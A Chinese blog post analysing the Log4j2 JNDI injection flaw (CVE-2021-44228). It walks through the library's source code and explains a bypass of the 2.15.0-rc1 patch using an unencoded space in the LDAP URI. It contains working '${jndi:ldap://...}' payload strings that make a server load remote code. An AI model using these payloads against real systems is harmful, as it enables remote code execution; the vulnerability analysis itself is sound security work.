美文网首页Kali Linux美文共赏
安全漏洞之Log4j2漏洞复现绕过分析

安全漏洞之Log4j2漏洞复现绕过分析

作者: 顶风作案7号 | 来源:发表于2021-12-12 21:12 被阅读0次

    0x00 介绍

    Log4j2Java开发常用的日志框架,该漏洞触发条件低,危害大,由阿里云安全团队报告

    分配CVE编号:CVE-2021-44228

    CVSS评分:10.0(最高只能10分)

    POC比较简单

    public static void main(String[] args) throws Exception {
        logger.error("${jndi:ldap://127.0.0.1:1389/badClassName}");
    }
    

    POC虽然简单,但是搭建LDAP环境显得有点复杂,marshalsec方式需要自行编译class并搭建HTTP服务端

    java -jar LDAPKit.jar [命令]

    截图如下

    image

    【一>所有资源获取<一】
    1、200份很多已经买不到的绝版电子书
    2、30G安全大厂内部的视频资料
    3、100份src文档
    4、常见安全面试题
    5、ctf大赛经典题目解析
    6、全套工具包
    7、应急响应笔记
    8、网络安全学习路线

    0x01 RCE分析

    首先来看RCE是怎样的原理,先来一段又臭又长的流程分析

    看看从logger.errorJndiLookup.lookup中间经历了些什么

    logger.error()层层跟到AbstractLogger.tryLogMessage.log方法

    private void tryLogMessage(final String fqcn,
                               final StackTraceElement location,
                               final Level level,
                               final Marker marker,
                               final Message message,
                               final Throwable throwable) {
        try {
            log(level, marker, fqcn, location, message, throwable);
        } catch (final Exception e) {
            handleLogMessageException(e, fqcn, message);
        }
    }
    

    不动态调试的情况下跟log方法会到AbstractLogger.log方法,实际上这里是org.apache.logging.log4j.core.Loggger.log方法

    @Override
    protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location,
                       final Message message, final Throwable throwable) {
        final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy();
        if (strategy instanceof LocationAwareReliabilityStrategy) {
            // 触发点
            ((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level,
                                                              message, throwable);
        } else {
            strategy.log(this, getName(), fqcn, marker, level, message, throwable);
        }
    }
    

    跟入这里的log方法到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log

    @Override
    public void log(final Supplier<LoggerConfig> reconfigured, final String loggerName, final String fqcn,
                    final StackTraceElement location, final Marker marker, final Level level, final Message data,
                    final Throwable t) {
        loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);
    }
    

    进入LoggerConfig.log方法

    @PerformanceSensitive("allocation")
        public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,
            final Level level, final Message data, final Throwable t) {
            // 无需关心的代码
            ...
            try {
                // 跟入
                log(logEvent, LoggerConfigPredicate.ALL);
            } finally {
                ReusableLogEventFactory.release(logEvent);
            }
        }
    

    进入LoggerConfig另一处重载log方法

    protected void log(final LogEvent event, final LoggerConfigPredicate predicate) {
        if (!isFiltered(event)) {
            // 跟入
            processLogEvent(event, predicate);
        }
    }
    
    private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
        event.setIncludeLocation(isIncludeLocation());
        if (predicate.allow(this)) {
            // 关键点
            callAppenders(event);
        }
        logParent(event, predicate);
    }
    

    可以看到调用appender.controlcallAppender方法

    @PerformanceSensitive("allocation")
    protected void callAppenders(final LogEvent event) {
        final AppenderControl[] controls = appenders.get();
        //noinspection ForLoopReplaceableByForEach
        for (int i = 0; i < controls.length; i++) {
            controls[i].callAppender(event);
        }
    }
    

    层层跟入到AppenderControl.tryCallAppender方法

    private void callAppender0(final LogEvent event) {
        ensureAppenderStarted();
        if (!isFilteredByAppender(event)) {
            // 跟入
            tryCallAppender(event);
        }
    }
    
    private void tryCallAppender(final LogEvent event) {
        try {
            // 跟入
            appender.append(event);
        } catch (final RuntimeException error) {
            handleAppenderError(event, error);
        } catch (final Exception error) {
            handleAppenderError(event, new AppenderLoggingException(error));
        }
    }
    

    进入AbstractOutputStreamAppender.append方法,进入到directEncodeEvent方法

    protected void directEncodeEvent(final LogEvent event) {
        getLayout().encode(event, manager);
        if (this.immediateFlush || event.isEndOfBatch()) {
            manager.flush();
        }
    }
    

    关注其中的encode方法跟入到PatternLayout.encode方法

    @Override
    public void encode(final LogEvent event, final ByteBufferDestination destination) {
        if (!(eventSerializer instanceof Serializer2)) {
            super.encode(event, destination);
            return;
        }
        final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());
        final Encoder<StringBuilder> encoder = getStringBuilderEncoder();
        encoder.encode(text, destination);
        trimToMaxSize(text);
    }
    

    不用关心多余的代码,这里触发点在toText方法

    private StringBuilder toText(final Serializer2 serializer, final LogEvent event,
                                 final StringBuilder destination) {
        return serializer.toSerializable(event, destination);
    }
    
    @Override
    public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
        final int len = formatters.length;
        for (int i = 0; i < len; i++) {
            // 发现其中某一处format方法触发漏洞
            formatters[i].format(event, buffer);
        }
        if (replace != null) {
            String str = buffer.toString();
            str = replace.format(str);
            buffer.setLength(0);
            buffer.append(str);
        }
        return buffer;
    }
    

    这里的formatters方法包含了多个formatter对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter

    image

    跟入看到调用了Converter相关的方法

    public void format(final LogEvent event, final StringBuilder buf) {
        if (skipFormattingInfo) {
            converter.format(event, buf);
        } else {
            formatWithInfo(event, buf);
        }
    }
    

    不难看出每个formatterconverter为了构造日志的每一部分,这里在构造真正的日志信息字符串部分

    image

    跟入MessagePatternConverter.format方法,看到核心的部分

    @Override
    public void format(final LogEvent event, final StringBuilder toAppendTo) {
        final Message msg = event.getMessage();
        if (msg instanceof StringBuilderFormattable) {
    
            final boolean doRender = textRenderer != null;
            final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
    
            final int offset = workingBuilder.length();
            if (msg instanceof MultiFormatStringBuilderFormattable) {
                ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
            } else {
                ((StringBuilderFormattable) msg).formatTo(workingBuilder);
            }
            if (config != null && !noLookups) {
                for (int i = offset; i < workingBuilder.length() - 1; i++) {
                    // 是否以${开头
                    if (workingBuilder.charAt(i) == '/pre> && workingBuilder.charAt(i + 1) == '{') {
                        // 这个value是:${jndi:ldap://127.0.0.1:1389/badClassName}
                        final String value = workingBuilder.substring(offset, workingBuilder.length());
                        workingBuilder.setLength(offset);
                        // 跟入replace方法
                        workingBuilder.append(config.getStrSubstitutor().replace(event, value));
                    }
                }
            }
            if (doRender) {
                textRenderer.render(workingBuilder, toAppendTo);
            }
            return;
        }
        if (msg != null) {
            String result;
            if (msg instanceof MultiformatMessage) {
                result = ((MultiformatMessage) msg).getFormattedMessage(formats);
            } else {
                result = msg.getFormattedMessage();
            }
            if (result != null) {
                toAppendTo.append(config != null && result.contains("${")
                                  ? config.getStrSubstitutor().replace(event, result) : result);
            } else {
                toAppendTo.append("null");
            }
        }
    }
    

    进入StrSubstitutor.replace方法

    public String replace(final LogEvent event, final String source) {
        if (source == null) {
            return null;
        }
        final StringBuilder buf = new StringBuilder(source);
        // 跟入
        if (!substitute(event, buf, 0, source.length())) {
            return source;
        }
        return buf.toString();
    }
    

    跟入StrSubstitutor.subtute方法,存在递归,逻辑较长

    主要作用是递归处理日志输入,转为对应的输出

    private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
                           List<String> priorVariables) {
        ...
        substitute(event, bufName, 0, bufName.length());
        ...
        String varValue = resolveVariable(event, varName, buf, startPos, endPos);
        ...
        int change = substitute(event, buf, startPos, varLen, priorVariables);
    }
    

    其实这里是触发漏洞的必要条件,通常情况下程序员会这样写日志相关代码

    logger.error("error_message:" + info);

    黑客的恶意输入有可能进入info变量导致这里变成

    logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");

    这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName进入resolveVariable方法

    image

    经过调试确认了关键方法resolveVariable

    protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
                                     final int startPos, final int endPos) {
        final StrLookup resolver = getVariableResolver();
        if (resolver == null) {
            return null;
        }
        // 进入
        return resolver.lookup(event, variableName);
    }
    

    跟入这里的lookup可以看到很多师傅们截图的方法

    @Override
    public String lookup(final LogEvent event, String var) {
        if (var == null) {
            return null;
        }
    
        final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
        if (prefixPos >= 0) {
            final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
            final String name = var.substring(prefixPos + 1);
            // 关键
            final StrLookup lookup = strLookupMap.get(prefix);
            if (lookup instanceof ConfigurationAware) {
                ((ConfigurationAware) lookup).setConfiguration(configuration);
            }
            String value = null;
            if (lookup != null) {
                // 这里的name是:ldap://127.0.0.1:1389/badClassName
                value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
            }
    
            if (value != null) {
                return value;
            }
            var = var.substring(prefixPos + 1);
        }
        if (defaultLookup != null) {
            return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
        }
        return null;
    }
    

    这里的strLookupMap中包含了多种Lookup对象

    image

    类似地,可以这样用

    logger.error("${java:runtime}");
    // 打印
    00:36:26.312 [main] ERROR Main - Java(TM) SE Runtime Environment (build 1.8.0_131-b11) from Oracle Corporation
    

    跟入JndiLookup.lookup

    @Override
    public String lookup(final LogEvent event, final String key) {
        if (key == null) {
            return null;
        }
        final String jndiName = convertJndiName(key);
        try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
            // 跟入lookup
            return Objects.toString(jndiManager.lookup(jndiName), null);
        } catch (final NamingException e) {
            LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
            return null;
        }
    }
    

    最后触发点JndiManager.lookup

    @SuppressWarnings("unchecked")
    public <T> T lookup(final String name) throws NamingException {
        return (T) this.context.lookup(name);
    }
    

    0x03 RC1修复绕过

    修复版本2.15.0-rc1

    跟了下流程发现到PatternLayout.toSerializable方法发生了变化

    不过这里的变化没有什么影响,其中的formatters属性的变化导致了${}不会被处理

    @Override
    public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
        for (PatternFormatter formatter : formatters) {
            formatter.format(event, buffer);
        }
        return buffer;
    }
    

    这里某个formatter包含了MessagePatternConverter

    在修复后变成了MessagePatternConverter.SimplePatternConverter

    image

    可以发现在这个类中变成了直接拼接字符串的操作,不去判断${}这种情况

    private static final class SimpleMessagePatternConverter extends MessagePatternConverter {
        private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter();
        @Override
        public void format(final LogEvent event, final StringBuilder toAppendTo) {
            Message msg = event.getMessage();
            // 直接拼接字符串
            if (msg instanceof StringBuilderFormattable) {
                ((StringBuilderFormattable) msg).formatTo(toAppendTo);
            } else if (msg != null) {
                toAppendTo.append(msg.getFormattedMessage());
            }
        }
    }
    

    注意到另一个子类LookupMessagePatternConverter

    如果Converter被设置为该类,那么会继续进行${}的处理

    private static final class LookupMessagePatternConverter extends MessagePatternConverter {
        private final MessagePatternConverter delegate;
        private final Configuration config;
    
        LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) {
            this.delegate = delegate;
            this.config = config;
        }
    
        @Override
        public void format(final LogEvent event, final StringBuilder toAppendTo) {
            int start = toAppendTo.length();
            delegate.format(event, toAppendTo);
            // 判断${}
            int indexOfSubstitution = toAppendTo.indexOf("${", start);
            if (indexOfSubstitution >= 0) {
                config.getStrSubstitutor()
                    // 进入了上文的流程
                    .replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution);
            }
        }
    }
    

    具体需要设置为哪一个子类取决于用户的配置

    private static final String LOOKUPS = "lookups";
    private static final String NOLOOKUPS = "nolookups";
    
    public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {
        boolean lookups = loadLookups(options);
        String[] formats = withoutLookupOptions(options);
        TextRenderer textRenderer = loadMessageRenderer(formats);
        // 默认不配置lookup功能
        MessagePatternConverter result = formats == null || formats.length == 0
            ? SimpleMessagePatternConverter.INSTANCE
            : new FormattedMessagePatternConverter(formats);
        if (lookups && config != null) {
            // 只有用户进行配置才会触发
            result = new LookupMessagePatternConverter(result, config);
        }
        if (textRenderer != null) {
            result = new RenderingPatternConverter(result, textRenderer);
        }
        return result;
    }
    

    于是想办法开启lookup功能分析后续有没有限制

    final Configuration config = new DefaultConfigurationBuilder().build(true);
    // 配置开启lookup功能
    final MessagePatternConverter converter =
        MessagePatternConverter.newInstance(config, new String[] {"lookups"});
    final Message msg = new ParameterizedMessage("${jndi:ldap://127.0.0.1:1389/badClassName}");
    final LogEvent event = Log4jLogEvent.newBuilder()
        .setLoggerName("MyLogger")
        .setLevel(Level.DEBUG)
        .setMessage(msg).build();
    final StringBuilder sb = new StringBuilder();
    converter.format(event, sb);
    System.out.println(sb);
    

    成功开启lookups功能,调用LookupMessagePatternConverter.fomat方法

    image

    递归处理等过程均没有变化,最后JndiManager.lookup触发漏洞的地方进行了修改

    public synchronized <T> T lookup(final String name) throws NamingException {
        try {
            URI uri = new URI(name);
            if (uri.getScheme() != null) {
                // 允许的协议白名单
                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                    LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                    return null;
                }
                if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                    // 允许的host白名单
                    if (!allowedHosts.contains(uri.getHost())) {
                        LOGGER.warn("Attempt to access ldap server not in allowed list");
                        return null;
                    }
                    Attributes attributes = this.context.getAttributes(name);
                    if (attributes != null) {
                        Map<String, Attribute> attributeMap = new HashMap<>();
                        NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
                        while (enumeration.hasMore()) {
                            Attribute attribute = enumeration.next();
                            attributeMap.put(attribute.getID(), attribute);
                        }
                        Attribute classNameAttr = attributeMap.get(CLASS_NAME);
                        // 参考下图我们这种Payload不存在javaSerializedData头
                        // 所以不会进入类白名单判断
                        if (attributeMap.get(SERIALIZED_DATA) != null) {
                            if (classNameAttr != null) {
                                // 类名白名单
                                String className = classNameAttr.get().toString();
                                if (!allowedClasses.contains(className)) {
                                    LOGGER.warn("Deserialization of {} is not allowed", className);
                                    return null;
                                }
                            } else {
                                LOGGER.warn("No class name provided for {}", name);
                                return null;
                            }
                        } else if (attributeMap.get(REFERENCE_ADDRESS) != null
                                   || attributeMap.get(OBJECT_FACTORY) != null) {
                            // 不允许REFERENCE这种加载对象的方式
                            LOGGER.warn("Referenceable class is not allowed for {}", name);
                            return null;
                        }
                    }
                }
            }
        } catch (URISyntaxException ex) {
            // This is OK.
        }
        return (T) this.context.lookup(name);
    }
    

    看看实际运行中,这几个白名单是怎样的

    image

    默认的协议是:javaldapldaps

    默认数据类型是八大基本数据类型

    默认的Host白名单是localhost

    实际上拦住Payload是在最后一处OBJECT_FACTORY判断

    image

    由于RCE一定需要加载远程对象,那么避免不了javaFactory属性(或者有一些其他思路,笔者刚做Java安全不了解)

    看起来无懈可击,然而这里有一处细节问题

    public synchronized <T> T lookup(final String name) throws NamingException {
        try {
            URI uri = new URI(name);
            ...
        } catch (URISyntaxException ex) {
            // This is OK.
        }
        return (T) this.context.lookup(name);
    }
    

    如果发生了URISyntaxException异常会直接this.context.lookup

    能否想办法让new URI(name);时候报错但name传入context.lookup(name);时正常

    经过测试发现URI中不进行URL编码会报这个错,加个空格即可触发${jndi:ldap://127.0.0.1:1389/ badClassName}(不对空格做编码导致异常,但是lookup时候会去掉这个空格)

    image

    成功RCE(需要用户开启lookup功能的基础上才可以)

    image

    0x04 RC2修复

    RC2的修复方案是直接return,有效解决了上文的绕过

    try{
    } catch (URISyntaxException ex) {
        LOGGER.warn("Invalid JNDI URI - {}", name);
        return null;
    }
    return (T) this.context.lookup(name);
    

    相关文章

      网友评论

        本文标题:安全漏洞之Log4j2漏洞复现绕过分析

        本文链接:https://www.haomeiwen.com/subject/jkhdfrtx.html